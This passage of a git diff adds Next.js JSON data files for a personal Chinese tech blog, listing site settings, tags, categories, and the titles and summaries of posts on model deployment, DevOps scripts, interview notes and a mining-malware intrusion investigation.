42488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""},"next":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-LM-01.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-LM-01.json new file mode 100644 index 000000000..6f7afe0ea --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240405-LM-01.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on 